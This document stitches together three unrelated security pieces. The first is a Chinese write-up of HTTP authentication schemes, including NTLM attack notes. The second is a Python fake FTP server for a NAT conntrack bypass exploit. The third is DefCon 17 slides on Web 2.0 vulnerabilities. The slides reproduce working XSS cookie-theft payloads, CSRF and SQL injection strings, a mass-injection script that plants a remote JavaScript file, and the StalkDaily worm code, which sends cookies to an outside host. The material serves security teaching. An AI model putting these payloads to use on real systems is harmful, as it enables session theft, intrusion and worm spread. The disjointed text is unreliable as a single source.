因此避免了与密码相关的所有问题,例如泄漏服务器端密码数据库。 验证过程 1. 客户端连接到服务器,并发出请求,然后服务器的响应的响应包括一个WWW-Authenticate标头字 段 2. 如果客户端未注册到WEB资源,并且试图强制访问。加入 过程被调用。这将创建一个密钥对并使 CPK服务器已知,以便服务器可以进行帐户需要的创建过程。 3. 客户端使用来自HOBA auth-scheme参数,来创建和签署HOBA代签名。 4. 客户端创建的HOBA结果HOBA-RES,作为sig值 5. 客户端在其下一个请求中包含Authorization头字段,使用HOBA”auth-scheme 并将 HOBA client- result 在名为“result”的 auth-param 中 6. 服务器验证HOBA客户端结果 CPK准备阶段 客户端确定它是否已经需要进行身份验证的 Web 源的 CPK。如果客户端有CPK,客户端就会使用它;如 果客户端没有CPK,它会在预期服务器要求一个 CPK 时生成一个。 签名阶段 在签名阶段,客户端连接到服务器,服务器请求基于 HOBA 的身份验证,客户端通过签名一个 blob 信 息进行身份验证, 格式 HOBA-TES是客户端签名过程的输入,本身过程中不会通过网络发送 包含以下内容: len:每个字段前面都有对应的长度值。长度与字段值之间用冒号分隔 nonce:由 UA 选择的随机值,并且必须在包含在 HOBA-TBS 值之前进行 base64url编码。 alg:指定正在使用的签名算法 Origin:访问来源 Realm:如果没有为身份验证指定此领域,则不存在 Kid:关键标识符,必须是HOBA客户端中呈现给服务器的base64编码值 HOBA-RES = kid "." challenge "." nonce "." sig sig = 1*base64urlchars 必须属性:challenge max-age HOBA-TBS = len ":" nonce             len ":" alg             len ":" origin             len ":" [ realm ]             len ":" kid             len ":" challenge     len = 1*DIGIT     nonce = 1*base64urlchars     alg = 1*2DIGIT     origin = scheme "://" authority ":" port 可选属性:realm HOBA-js机制 使用JavaScript的网站也可以执行源绑定身份验证,而无需涉及HTTP层。 需要属性:WebCrypto 如果没有上述属性,HOBA-js 需要一个元素;HTML5 中的localStorage ,用于持久性的密钥存储 Window.localStorage - Web API 接口参考 | MDN 由于 JavaScript 的同源策略,子域中的脚本无法访问与其父域中的脚本相同的 localStorage。对于更大 或更复杂的站点。 解决此问题的一种方法是使用会话 cookie,因为它们可以跨子域使用。也就是说,在 HOBA-js 中,用 户可能使用单个知名域登录,然后在用户浏览站点时使用会话 cookie 。 Mutual(RFC 8120) HTTP双向认证 先说一下优缺点 优点 在通信中根本不交换密码信息,避免了任何密码在网络传输中泄露的可能性,离线密码字典攻击无 效 能够检测通信对方是否为伪造服务器,避免被网络钓鱼。 缺点 浏览器尚未原生支持 框架尚未内置,只能开发人员自己实现。 过程 1. 客户端请求访问受保护的资源(目标URI:GET localhost/resource) 2. 目标URL收到请求后,检查请求头是否包含Authorization字段,如果不包含,则服务器将发起质 询,返回401-INIT消息(即参数reason=initial的401 Unauthorized响应),响应头带有WWW- Authenticate字段,指定认证机制为Mutual并提供认证所需参数。 参数 Mutual:表明认证方式为HTTP相互认证。 HTTP HTTP/1.1 401 Unauthorized WWW-Authenticate: Mutual   realm="example_space_name",   version=1,   algorithm=SHA-256,   validation=http://localhost:8000,   auth-scope=localhost,   reason=initial realm:保护空间标识名称,告知客户端自动应用账密的范围,是 HTTP 认证框架(RFC 7235)定 义的参数。 version:表明服务器采用的相互认证协议的版本,用于避免未来版本不兼容的问题,目前只有一 个版本,其值固定为1。 algorithm:指定采用哪种算法计算kc1、ks1、vkc、vks,协议目前支持4种算法:iso-kam3-dl- 2048-sha256、iso-kam3-dl-4096-sha512、iso-kam3-ec-p256-sha256、iso-kam3-ec-p521- sha512,算法详情定义在RFC 8121。 validation:表明与服务器绑定的底层协议验证机制,客户端可以利用此机制来初步检查通信对 方,以防止恶意服务器通过转发客户端凭据而向真实服务器冒充用户。当服务器底层是HTTP时, 只能采用 host 验证机制,即参数值的格式为://:,表明通过判断这三部分是否与真实服务器一致来 检查通信对方。当服务器底层是HTTPS时,可以选择 tls-server-end-point 验证机制,即参数值为 服务器TLS公钥证书散列值的八位字符串;或者选择 tls-unique 验证机制,即参数值为通道绑定材 料。 客户端可以利用参数validation提供的方法来初步检查通信对方 a. 如果检查不通过,说明通信对方是恶意服务器,则停止通信,并提示用户。这样一来, 恶意服务器将无法拿到客户端凭据,从而无法能向真实服务器冒充用户。 b. 如果检查通过,则要求用户输入账密,然后发送一条密钥交换消息(req-KEX-C1)来启 动身份验证。即在请求头Authorization字段中通过Mutual关键词传递user、kc1(客户端的 密钥交换值)等参数,重新请求目标URL: auth-scope:告知客户端自动应用会话秘钥的跨域范围。Single-server type:参数值的格式 为://:,例如:http://localhost:8000,表明scheme、host、port三个部分都相同时才自动应用会 话秘钥,即不能跨域应用。Single-host type(缺省默认),参数值的格式为,例如:localhost, 表明只要host部分相同就可以跨域应用会话秘钥。Wildcard-domain type,参数值的格式为 *.example.com,表明只要一级域名相同就可以跨域应用会话秘钥。 reason:描述返回401的原因,initial表示请求中头没有包含Authorization字段。 过程 1. 客户端可以利用参数validation提供的方法来初步检查通信对方 a. 如果检查不通过,说明通信对方是恶意服务器,则停止通信,并提示用户。这样一来,恶意服务 器将无法拿到客户端凭据,从而无法能向真实服务器冒充用户。 b. 如果检查通过,则要求用户输入账密,然后发送一条密钥交换消息(req-KEX-C1)来启动身份 验证。即在请求头Authorization字段中通过Mutual关键词传递user、kc1(客户端的密钥交换值) 等参数,重新请求目标URL: GET /resource HTTP/1.1 Host: localhost Authorization: Mutual   realm="example_space_name",   version=1,   algorithm=SHA-256,   validation=host,   auth-scope=localhost,   user="jane",   kc1="4e2e272a28d1802ca10daf4496794697cf" 2. 服务器收到req-KEX-C1消息,在其用户数据库中查找用户在realm="example_space_name"这一 保护空间设置的账密,用于计算服务器的密钥交换值(ks1)。然后,服务器创建一个会话标识符 (sid),用于标识紧随其后的消息集。最后,返回401-KEX-S1消息,即返回401 Unauthorized, 在响应头WWW-Authenticate字段中通过Mutual关键词传递sid、ks1等参数。 3. 客户端、服务器各自使用密钥交换消息中的交换值计算会话秘钥。只有当双方使用相同的用户密码 进行计算时,会话秘钥值才会相同。以后双方在每个请求响应中都携带此会话秘钥,用于代替账密 在网络中传递 4. 客户端发送req-VFY-C请求,即在请求头Authorization字段中通过Mutual关键词传递sid、vkc(客 户端计算的会话秘钥值)等参数,重新请求目标URI。 5. 服务器收到req-VFY-C请求,比较vkc是否与自己计算的会话秘钥值(vks)相同 a. 如果相同,表明对客户端身份和用户身份认证通过,则返回200-VFY-S消息,即返回保护资源 作为响应,并在响应头的Authentication-Info字段中通过Mutual关键词传递vks等参数。 b. 如果不同,表明用户可能输错了密码,或客户端可能是冒牌的,或用户可能是冒牌的,则服务 器返回401-INIT消息,与步骤2中的响应基本相同,区别是参数reason=auth-failed:表示身份验证 失败。 6. 客户端收到200-VFY-S消息,比较服务器返回的vks是否与自己的vkc相同 HTTP/1.1 401 Unauthorized WWW-Authenticate: Mutual   realm="example_space_name",   version=1,   algorithm=SHA-256,   validation=host,   auth-scope=localhost,   reason=initial   sid="4563806698",   ks1="daf4496794697cf8db5856cb6c1",   nc-max=400,   nc-window=128,   time=60 GET /resource HTTP/1.1 Host: localhost Authorization: Mutual   realm="example_space_name",   version=1,   algorithm=SHA-256,   validation=host,   auth-scope=localhost,   user="jane",   vkc="wE4q74E6zIJEtWaHKaf5wv/H5Q" HTTP HTTP/1.1 200 OK Authentication-Info: Mutual   version=1,   sid="4563806698",   vks1="wE4q74E6zIJEtWaHKaf5wv/H5Q" # response body a. 如果相同,表明对服务器身份认证通过,则可以使用其返回的保护资源。 b. 如果不同,表明服务器是冒牌的,或面临中间人攻击,则不使用其返回的响应,并提示用户。 Negotiate(RFC 4559) 这个找了半天,,,真离谱 最后查到这个东西应该是windows下的认证 NTLM和kerberos,那应该是HttpClient+NTLM认证 数据包特征 NTLM认证 NTLM是NT LAN Manager的缩写,NTLM是基于挑战/应答的身份验证协议,是 Windows NT 早期版本 中的标准安全协议。 基本流程 客户端在本地加密当前用户的密码成为密码散列 客户端向服务器明文发送账号 服务器端产生一个16位的随机数字发送给客户端,作为一个challenge 客户端用加密后的密码散列来加密challenge,然后返回给服务器,作为response 服务器端将用户名、challenge、response发送给域控制器 域控制器用这个用户名在SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加 密chellenge 域控制器比较两次加密的challenge,如果一样那么认证成功,反之认证失败 相关协议 Net-NTLMv1 Net-NTLMv1协议的基本流程如下: 客户端向服务器发送一个请求 服务器接收到请求后,生成一个8位的Challenge,发送回客户端 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服 务器 服务器校验response 而Net-NTLMv1 response的计算方法为 将用户的NTLM hash补零至21字节分成三组7字节数据 三组数据作为3DES加密算法的三组密钥,加密Server发来的Challenge 这种方式相对脆弱,可以基于抓包工具和彩虹表爆破工具进行破解。 HTTP WWW-Authenticate: NTLM realm="SIP Communications Service", targetname="server.domain.com", version=4 Net-NTLMv2 自Windows Vista起,微软默认使用Net-NTLMv2协议,其基本流程如下: 客户端向服务器发送一个请求 服务器接收到请求后,生成一个16位的Challenge,发送回客户端 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服 务器 服务器校验response 使用Hash LM Hash LM Hash(LAN Manager Hash) 是windows最早用的加密算法,由IBM设计。LM Hash 使用硬编码秘钥 的DES,且存在缺陷。早期的Windows系统如XP、Server 2003等使用LM Hash,而后的系统默认禁用 了LM Hash并使用NTLM Hash。 LM Hash的计算方式为: 转换用户的密码为大写,14字节截断 不足14字节则需要在其后添加0×00补足 将14字节分为两段7字节的密码 以 KGS!@#$% 作为秘钥对这两组数据进行DES加密,得到16字节的哈希 拼接后得到最后的LM Hash。 作为早期的算法,LM Hash存在着诸多问题: 1. 密码长度不会超过14字符,且不区分大小写 2. 如果密码长度小于7位,后一组哈希的值确定,可以通过结尾为 aad3b435b51404ee 来判断密码长 度不超过7位 3. 分组加密极大程度降低了密码的复杂度 4. DES算法强度低 NTLM Hash 为了解决LM Hash的安全问题,微软于1993年在Windows NT 3.1中引入了NTLM协议。 Windows 2000 / XP / 2003 在密码超过14位前使用LM Hash,在密码超过14位后使用NTLM Hash。而 之后从Vista开始的版本都使用NTLM Hash。 NTLM Hash的计算方法为: • 将密码转换为16进制,进行Unicode编码 • 基于MD4计算哈希值 攻击方式 Pass The Hash Pass The Hash (PtH) 是攻击者捕获帐号登录凭证后,复用凭证Hash进行攻击的方式。 微软在2012年12月发布了针对Pass The Hash攻击的防御指导,文章中提到了一些防御方法,并说明了 为什么不针对Pass The Hash提供更新补丁。 Pass The Key 在禁用NTLM的环境下,可以用mimikatz等工具直接获取密码。 NTLM Relay 攻击者可以一定程度控制客户端网络的时候,可以使用中间人攻击的方式来获取权限。对客户端伪装为 身份验证服务器,对服务端伪装为需要认证的客户端。 OAuth(RFC6749) 这个看了一下,,师傅写的很详细很全,,就直接摆上了 OAuth 2.0 - 废物大师兄 - 博客园 Spring Security OAuth 2.0 - 废物大师兄 - 博客园 Salted Challenge Response(RFC7804) HTTP SCRAM 是一种 HTTP 身份验证机制,其客户端响应和服务器质询消息是基于文本的消息,包含一 个或多个以逗号分隔的属性值对。SCRAM-SHA-1 是为了与 RFC 5802 实现的数据库兼容而注册的,这些 实现还希望公开对相关服务的 HTTP 访问,但不建议将其用于新部署。为了互操作性,所有支持 SCRAM 的 HTTP 客户端和服务器必须实现 SCRAM-SHA-256 身份验证机制 SCRAM-SHA-1与CRAM-SHA-256 查了许多资料,发现在MongoDB中使用最多。 数据包 消息序列 Authorization: SCRAM-SHA-256 realm="[email protected]",         data=biwsbj11c2VyLHI9ck9wck5HZndFYmVSV2diTkVrcU8K SCRAM SHA-1的执行涉及四个消息的传输和处理;客户端和服务器各有两个。如上图所示,客户端通过 发送客户端第一消息开始该过程,并且响应于从客户端接收到格式正确的第一消息,服务器向客户端发 送 服务器第一消息。客户端处理此消息,如果一切正常,则传输客户端最终消息。正如预期的那样,服 务器会处理此消息。在此任务结束时,服务器应该知道客户端是否成功通过身份验证。如果是,服务器 发送服务器最终消息,否则它会向客户端发送认证失败消息(或者可能不会)。随着服务器最终消息的 接收,客户端也能够对服务器进行身份验证 加密值 客户端随机数:这是一个由客户端随机生成的值,理想情况下使用加密随机生成器。该值与客户端 的用户名一起包含在Client First Message 中。请注意,每个身份验证会话的客户端随机数值必须不 同。 服务器随机数:这类似于客户端随机数,它包含在服务器第一消息中。对于每个身份验证会话,此 值必须不同,并且是加密安全的。 Salt:Salt 是由服务器生成的加密安全随机数。这个 Salt 值和密码被输入到生成另一个值的单向加 密函数中。回想一下背景部分,该值用于隐藏密码。Salt 包含在Server First Message 中。 Iteration Count:这是由服务器生成的一个数值,表示上面提到的加密函数应该应用于 Salt 和密 码以生成其输出的次数。该迭代计数值在Server First Message 中传输。 注意 SCRAM SHA-1 规范强烈 建议该协议应与另一个提供机密性的协议结合使用。换句话说,SCRAM SHA-1 消息应该通过加密通道进行交换。这个想法是为了防止窃听者在传输过程中提取这些消息的内容,然后 使用其中包含的值发起离线字典攻击来提取密码。 Mongodb中的认证机制 MongoDB中使用的SCRAM-SHA1认证机制 Vapid(RFC7235) 什么是VAPID 要想发送推送通知,需要使用 VAPID 协议。 VAPID 是“自主应用服务器标识” ( Voluntary Application Server Identification ) 的简称。它是一个规 范,它本质上定义了应用服务器和推送服务之间的握手,并允许推送服务确认哪个站点正在发送消息。 这很重要,因为这意味着应用服务器能够包含有关其自身的附加信息,可用于联系应用服务器的操作人 员。拥有像 VAPID 这样的标准就是向前迈出了一大步,因为这意味着最终所有浏览器都将遵循这个单一 标准,即无论什么浏览器,开发者都可以使用 Web 推送进行无缝工作。 关于其他文章 实在找不到关于分析的文章了,,,看一下应用的地方吧 PWA(Progressive Web App)入门系列:Push_王乐平 技术博客-CSDN博客 Web push 浏览器推送 6.4 网络推送 · PWA 应用实战 编程语言实现HTTP认证 • 用 PHP 进行 HTTP 认证 https://www.php.net/manual/zh/features.http-auth.php • 用 JAVA 实现basic认证 https://ask.csdn.net/questions/768779 • 用java实现Bearer认证 HTTP Bearer认证及JWT的使用 - 搬砖滴 - 博客园 • 用java + SpringBoot实现 DIGEST 认证 HTTP的几种认证方式之DIGEST 认证(摘要认证) - wenbin_ouyang - 博客园 • 摘要认证: https://www.cnblogs.com/lsdb/p/10621940.html 摘要认证,使用HttpClient实现HTTP digest authentication - 代码先锋网 • java实现双向认证 https://blog.csdn.net/HD243608836/article/details/109105469 • 实现NTLM认证 HttpClient+NTLM认证_耳东的慢生活的博客-CSDN博客 • C#实现SCRAM-SHA-1 https://www.codeproject.com/Articles/698219/Salted-Challenge-Response-Authentication-Mechan ism 参考文章 1. [RFC 2617] Digest 签名摘要式认证 - 2. Hypertext Transfer Protocol (HTTP) Authentication Scheme Registry 3. 《图解HTTP》 4. HTTP 认证方式 5. HTTP 身份验证框架(Basic 认证)_ 6. HTTP几种认证方式介绍 - 9.0 - 博客园 7. HTTP Origin-Bound Authentication (HOBA) 8. HTTPS双向认证(Mutual TLS authentication) - API 网关 - 阿里云 9. Web应用中基于密码的身份认证机制(表单认证、HTTP认证: Basic、Digest、Mutual)u012324798 的博客-CSDN博客基于密码的身份认证 10. 8.7. NTLM 身份验证 ‒ Web安全学习笔记 1.0 文档 11. Salted Challenge Response Authentication Mechanism (SCRAM) SHA-1
pdf
bypass NAT tcp #!/usr/bin/env python # -*- coding: utf-8 -*- # # Fake ftp server code for conntrack exploit # # This software is in the public domain, furnished "as is", without technical # support, and with no warranty, express or implied, as to its usefulness for # any purpose. # # Author: Roman Tsisyk # # Please read README file first! # This server gets PORT request from client, checks if ip address matched # a real cleint adddress and tries to connect. It emulates ftp sometimes, but # its not realy necessary for our needs, just for a smart firewalls and logs # import sys, logging,os from SocketServer import ThreadingTCPServer, ThreadingMixIn, BaseRequestHandler # # Main server class # class BackConnectServer(ThreadingMixIn, ThreadingTCPServer): # logger log = None; # # Main handler # class BackConnectHandler(BaseRequestHandler): def __init__(self, request, client_address, server): self.log = server.log; self.test302 = 0; BaseRequestHandler.__init__(self, request, client_address, server); def setup(self): self.log.info('%s:%s connected', *self.client_address); #self.request.send('220 vsFTPd ready.\n'); def check(self, ip, port): self.log.info('%s: probing %s:%s', self.client_address, ip, port); # # connect to this port using external program and do smth # os.system('nmap -sT %s -p %s'%(ip, port)); #return True; if connection established return False; def handle(self): data = True; while data: data = self.request.recv(1024); print data; cmd = data[0:4]; self.log.debug('%s: %s', self.client_address, data.strip()); # we really not have to handle all ftp protocol and check states like fsm # let client think that auth realy needed and there is real ftp if cmd == 'PORT': port_data = data[4:].strip().split(','); try: # extract port number port = int(port_data[4]) << 8 | int(port_data[5]); except: self.log.error('%s: Invalid reply received', self.client_address); # check if there is not NAT or # nf_nat_ftp converted internal fake ip to external #if ('.'.join(port_data[0:4]) == self.client_address[0]): if (1): self.log.info('%s: PORT success', self.client_address); # run extern program (e.g. ssh or smbclient) and do something #if self.check(self.client_address[0], port): # matrix has you :) # self.log('%s: port %s works', # self.client_address, port); #else: # self.log.debug('%s: connection to %s:%s failed', # self.client_address, self.client_address[0], port); # stop client script #self.request.send('200 PORT command successful.\n'); if self.test302 == 0: #self.request.send('HTTP/1.1 200 OK\r\nContent-Length:0\r\n\r\n'); self.request.send('HTTP/1.1 200 OK\r\nContent-Length:0\r\n\r\n'); print "ddd"; else: if self.test302 == 1: self.request.send('200 PORT handle on.\n'); else: self.request.send('HTTP/1.1 200 OK\r\nContent-Length:0\r\n\r\n'); #self.request.send('HTTP/1.1 200 OK\r\nContent-Length:0\r\n\r\n') #self.request.send('HTTP/1.1 302 Found\r\nHost: 172.28.64.142:21\ self.test302 = self.test302 -1; #return; else: self.log.debug('%s: PORT failed', self.client_address); #self.request.send('500 Illegal PORT command.\n'); elif cmd == 'USER': self.request.send('331 Please specify the password.\n'); elif cmd == 'PASS': self.request.send('530 Login incorrect.\n'); elif cmd == 'QUIT': return else: #self.request.send('530 Please login with USER and PASS.\n'); if self.test302 == 0: #self.request.send('HTTP/1.1 200 OK\r\nContent-Length:0\r\n\r\n'); self.request.send('.\r\n');#gopherresponse print "22222"; #return else: if self.test302 == 1: self.request.send('200 PORT handle on.\n'); else: #self.request.send('HTTP/1.1 302 Found\r\nHost: 172.28.64.142:21\r\nLocation: self.request.send('HTTP/1.1 200 OK\r\nContent-Length:0\r\n\r\n'); self.test302 = self.test302 -1; print "test"; def finish(self): self.log.info('%s:%s disconnected', *self.client_address); #self.request.send('221 Goodbye.'); 2009GitHub gopher 1. gopher 2. gopher"."curl 3. gopherrfc tcp keepalive keepalive keepalivetcptcp keepalivekeepalivecontent-lengthhttptcphttp httptcphttp content-length expect 1. expect 2. 100-continuebody 3. expecttcp200okbody 1. ssrfhttpshttp307http 2. expect200okbodytcphttp ssrf tcp 3. algtcp def __init__(self): self.log = logging.getLogger(); self.log.setLevel(logging.DEBUG); log_hdl = logging.StreamHandler(); log_hdl.setFormatter(logging.Formatter( '%(asctime)s %(levelname)s %(message)s' )) self.log.addHandler(log_hdl); self.allow_reuse_address = True; ThreadingTCPServer.__init__(self, ('', 21), self.BackConnectHandler); # run server server = BackConnectServer(); server.serve_forever();
pdf
David Rook The Security Risks of Web 2.0 DefCon 17, Las Vegas Agenda • A quick Web 2.0 definition • The differences between Web 1.0 and Web 2.0 • Common Web 2.0 security vulnerabilities • The differences between Web 1.0 and Web 2.0 vulnerabilities • Security analysis difficulties with Web 2.0 • How to prevent these vulnerabilities if (slide == introduction) System.out.println(“I’m David Rook”); • Security Analyst, Realex Payments, Ireland CISSP, CISA, GCIH and many other acronyms • Security Ninja (www.securityninja.co.uk) • Secure Development (www.securedevelopment.co.uk) • OWASP contributor and presenter • IIA Web Development Working Group • Facebook hacker and published security author (insecure magazine, bloginfosec etc) About this Presentation • What this presentation isn’t – A technical discussion about Web 2.0 technologies/architectures – No 0 days, new attacks or new vulnerabilities – Just a discussion about XSS and SQL Injection • What this presentation is: – A look at Web 2.0 app vulnerabilities – How they differ (or not) from Web 1.0 – How to prevent them A quick Web 2.0 definition • “Web 2.0 is the business revolution in the computer industry caused by the move to the internet as a platform, and an attempt to understand the rules for success on that new platform. Chief among those rules is this: Build applications that harness network effects to get better the more people use them” Tim O’Reilly - 2006 Rapid proliferation of content RSS Atom Everything can go online now Google Docs eyeOS Architecture of participation Soc Nets Youtube Writes data to local databases Gears HTML 5 User generated content Offline storage of data and state Desktop look and feel Syndication of content Key points about Web 2.0 Differences between Web 1.0 and 2.0 Category Web 1.0 Web 2.0 Functionality/Content Reading Content Creating Content Personal Websites Blogs and profiles Under Construction Sign BETA Technologies HTML, HTTP, HTTPS AJAX, JSON, SOAP, REST, XML, HTTP, HTTPS Synchronous Asynchronous Client-Server Peer to Peer Security Content from site owner Content from site user Structured entry points Distributed, multiple entry points • Cross Site Scripting • Cross Site Request Forgery • SQL Injection • Authentication and Authorisation Flaws • Information Leakage • Insecure Storage • Insecure Communications Common Web 2.0 Vulnerabilities • On top of that list we do have some specific Web 2.0 vulnerabilities: – XSS Worms – Feed Injections – Mashup and Widget Hacks Some Web 2.0 Specific Vulnerabilities • New to Web 2.0? No • Is this worse in Web 2.0? Yes XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. Cross Site Scripting (XSS) • Persistent “Stored” • The malicious input is stored server side (message boards etc) and used in many users pages • Think: <SCRIPT> document.location= 'http://examplesite.com/cgi- bin/cookiemonster.cgi?'+document.cookie </SCRIPT> • Non-Persistent “Reflected” • Input is immediately used in the page returned to the user • Think: <script>alert(document.cookie)</script> • DOM Based • Content inserted into the user pages DOM, all client side because data is never sent to the server • Think: http://examplesite.com/home.php?name=<script>……….. • Coupled with: <SCRIPT> var pos=document.URL.indexOf("name=") +5;document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> Cross Site Scripting (XSS) Cross Site Scripting (XSS) • What makes this worse in Web 2.0? • Dynamic nature of the DOM in Web 2.0 apps • User controlled data in more places • Self propagating XSS attack code • Stream (i.e. JSON, XML etc) contents may be malicious Cross Site Scripting (XSS) • Dynamic nature of DOM in AJAX and RIA applications utilises javascript calls such as document.write which can write malicious data to the DOM • If you use document.write(data) with the data coming from an untrusted source then data such as: <script>alert(document.cookie)</script> can be injected into the DOM • Malicious input in streams such as JSON written to the DOM by the javascript eval() function date() { var http; if(window.XMLHttpRequest) { http = new XMLHttpRequest(); } else if (window.ActiveXObject) { http=new ActiveXObject("Msxml2.XMLHTTP"); if (! http) { http=new ActiveXObject("Microsoft.XMLHTTP"); } } http.open("GET", ”siteproxy.php?url=http://livedate-example.com", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; //other code in here eval(data) } } http.send(null); } Cross Site Scripting (XSS) • New to Web 2.0? No • Is this worse in Web 2.0? Yes Cross Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim’s browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim’s browser to perform a hostile action to the benefit of the attacker. XSS != CSRF XSS, malicious script is executed on the client’s browser, whereas in CSRF, a malicious command or event is executed against an already trusted site. POST http://ninjarental.com/login.html HTTP/1.1 HTTP headers etc in here user=ninjafan&pass=Ninjafan1&Submit=Submit Cross Site Request Forgery (CSRF) GET http://ninjarental.com/purchase?ninja=rgninja&Submit=Submit.html HTTP/1.1 HTTP headers etc in here SessionID=0123456789 Cross Site Request Forgery (CSRF) <IMG SRC=“http://ninjarental.com/purchase.html?ninja=cnninja” />HTTP/1.1 HTTP headers etc in here SessionID=0123456789 Cross Site Request Forgery (CSRF) Cross Site Request Forgery (CSRF) • What makes this worse in Web 2.0? • XML and JSON based attacks tricky but possible • Web 2.0 has to allow cross domain access • Same Origin Policy doesn't protect you Cross Site Request Forgery (CSRF) • Discovered by Vicente Aguilera Diaz • <IMG SRC… and <IFRAME SRC… used to exploit it <img src="https://www.google.com/accounts/UpdatePasswd service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd =abc123&PasswdAgain=abc123&p=&save=Save"> <iframe src="https://www.google.com/accounts/UpdatePasswd service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd =abc123&PasswdAgain=abc123&p=&save=Save"> GMAIL change password CSRF vulnerability Cross Site Request Forgery (CSRF) Google contacts CSRF with JSON • Normally XMLHttpRequest (XHR) pulls in data from same domain location • JSON data cannot be called from an off domain source • That’s not very Web 2.0 friendly though is it? • JSON call-backs to the rescue! Google contacts CSRF with JSON call-backs Cross Site Request Forgery (CSRF) <script type="text/javascript"> function google(data){ var emails, i; for (i = 0; i < data.Body.Contacts.length; i++) { mails += "<li>" + data.Body.Contacts[i].Email + "</li>"; } document.write("<ol>" + emails + "</ol>"); } </script> <script type="text/javascript" src="http://docs.google.com/data/contacts? out=js&show=ALL&psort=Affinity&callback=google&max=99999"> </script> Credit to Haochi Chen who found this vulnerability • New to Web 2.0? No • Is this worse in Web 2.0? Yes SQL Injection A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application var username username = name.form ("username") var sql = "SELECT * FROM users WHERE name = '" + userName + "';" SQL Injection I enter 1’ or ‘1’=‘1 1=1 == true, bingo! "SELECT * FROM users WHERE name = ‘1’ OR ‘1’=‘1’; A simple example, but SQL Injection has been used to steal large amounts of data and cause chaos: Card Systems – 40 million credit card numbers Automated SQL Injection compromised 70,000+ sites in one attack Accounts for roughly 20% of all CVE numbers for 2009 so far The inspiration for my favourite XKCD comic SQL Injection • What makes this worse in Web 2.0? • Being used as a precursor to exploiting Web 2.0 technologies • Has been used to inject malicious swf files into sites • Has been used to inject malware serving javascript into sites SQL Injection • Injections can occur in JSON, XML, SOAP etc Alumni Server SQL Injection exploit, June 2009 Credit to YEnH4ckEr 26: $email=requestVar('login','',true); 32: $pwd=requestVar('password','',true); 72: $result=mysql_query("SELECT * FROM 'as_users' WHERE (email LIKE '".$email."') AND (password LIKE '".md5($pwd)."') LIMIT 1",$dbh); [email protected]') OR 1=1 /* Password=nothing SQL Injection SQL Injection SQL Injecting malicious javascript, June 2009 DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://f1y.in/j.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor http://f1y.in/j.js contained the following: document.writeln("<iframe src=http:\/\/www.msrmn.com\/dada\/index.html width=100 height=0><\/iframe>"); document.writeln("<script type=\"text\/javascript\" src=\"http:\/\/js.tongji.linezing.com\/1189582\/tongji.js\"><\/ SQL Injection • New to Web 2.0? No • Is this worse in Web 2.0? Yes XPATH Injection XPATH Injection attacks occur when a website uses user-supplied information to construct an XPATH query for XML data XPATH Injection unames.xml <?xml version="1.0" encoding="UTF-8"?> <users> <user> <firstname>Security</firstname> <lastname>Ninja</lastname> <loginID>sninja</loginID> <password>secret</password> </user> <user> <firstname>Bobby</firstname> <lastname>Tables</lastname> <loginID>bobtables</loginID> <password>anotherSecret</password> </user> XPATH Injection //unames/user[loginID/text()=‘sninja’ and password/text()=‘secret’] I enter ' or 1=1 //unames/user[LoginID/text()=' ' or 1=1 and password/text()=' ' or 1=1] 1=1 == true, bingo! A simple example, the injection of ' or 1=1 has allowed me to bypass the authentication system XPATH Injection • What makes this worse in Web 2.0? • XML is the X in AJAX! • New to Web 2.0? Yes Self propagating XSS code injected into a web application which will spread when users visits a page. XSS Worms The obligatory Samy discussion No XSS worm discussion would be complete without mentioning our hero Samy First XSS worm, 4 years ago spread through MySpace 1 million+ infections in 24 hours Even in 2009 Samy is still a hero XSS Worms Samy is old, tell me about something new! StalkDaily Worm, Twitter 11th April 2009 XSS Worms Users web page field not sanitising input correctly: var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); So what did x.js do? var content = document.documentElement.innerHTML;   authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); var authtoken = authreg.exec(content); authtoken = authtoken[1]; //alert(authtoken); var randomUpdate=new Array(); randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?"; randomUpdate[1]="Join www.StalkDaily.com everyone!"; randomUpdate[2]="Woooo, www.StalkDaily.com :)"; randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!"; randomUpdate[4]="Wow...www.StalkDaily.com"; randomUpdate[5]="@twitter www.StalkDaily.com"; var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)] updateEncode = urlencode(genRand);   var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); XSS Worms var ajaxConn = new XHConn(); ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken +"&status="+updateEncode+"&tab=home&update=update"); var ajaxConn1 = new XHConn(); ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken +"&user[url]="+xss+"&tab=home&update=update"); XSS Worms var content = document.documentElement.innerHTML; userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g); var username = userreg.exec(content); username = username[1];   var cookie; cookie = urlencode(document.cookie); document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>"); document.write("<img src='http://stalkdaily.com/log.gif'>"); XSS Worms XSS Worms How will this get worse? • Worms having full cross browser compatibility • Worms being site/flaw independent • Intelligent/Hybrid/Super Worms (PDP/B.Hoffman) • Using worm infection for DDoS • New to Web 2.0? Yes Feed aggregators have data coming from various untrusted sources. The data being received can be malicious and exploit users. Feed Injections <?xml 